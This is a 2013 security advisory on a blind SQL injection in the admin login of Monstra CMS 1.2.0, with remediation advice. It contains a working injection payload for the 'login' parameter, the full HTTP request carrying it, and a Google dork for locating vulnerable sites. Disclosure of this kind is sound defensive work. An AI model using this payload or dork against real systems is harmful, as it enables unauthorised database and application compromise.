Monstra CMS v1.2.0 - Blind SQL Injection Vulnerability
Monstra is a simple and light-weighted Content Management System written in PHP! A Content Management System (CMS) is a software that allows publishing, editing and modifying content on your Web site. Content Management System provide procedures to manage workflow in a collaborative environment.
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An independent vulnerability laboratory researcher (linc0ln.dll) discovered a blind sql injection web vulnerability in the Monstra v1.2.0 CMS.
2013-09-20: Public Disclosure (linc0ln.dll)
Sergey Romanenko Product: Monstra Content Management System 1.2.0
A blind SQL Injection web vulnerability is detected in the official Monstra v1.2.0 Content Management System. The vulnerability allows remote attackers to inject own sql commands to compromise the vulnerable application dbms.
The blind sql injection web vulnerability is located in the login submit (POST) module. Attackers are able to inject own sql commands by manipulation of the the `login id` parameter.
Exploitation of the blind sql vulnerability does not require user interaction or a privileged application user account. Successful exploitation of the sql injection vulnerability results in database management system & application compromise.
Vulnerable Module(s): [+] Admin Auth (./admin)
Vulnerable Parameter(s): [+] login
The blind sql injection web vulnerability can be exploited by remote attackers without privileged application user account and user interaction. For demonstration or reproduce ...
Example: POST login=[SQL INJECTION]&login_submit=Enter&password=[x]
PoC: POST login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll
POST Request: POST /admin/ HTTP/1.1 Content-Length: 72 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=f6bd4782f77e4027d3975d32c414a36d Host: XXX Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept: / login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll
Server Response: HTTP/1.1 200 OK Date: Thu, 19 Sep 2013 14:27:25 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 4456
Goole Dork(s): "Powered by Monstra 1.2.0"
The vulnerability can be patched by a secure escaping the login input via POST request method. Also use a prepared statement to clean up the vulnerable code section.
The security risk of the remote blind sql injection web vulnerability is estimated as critical.
Independent Vulnerability Researcher - linc0ln.dll
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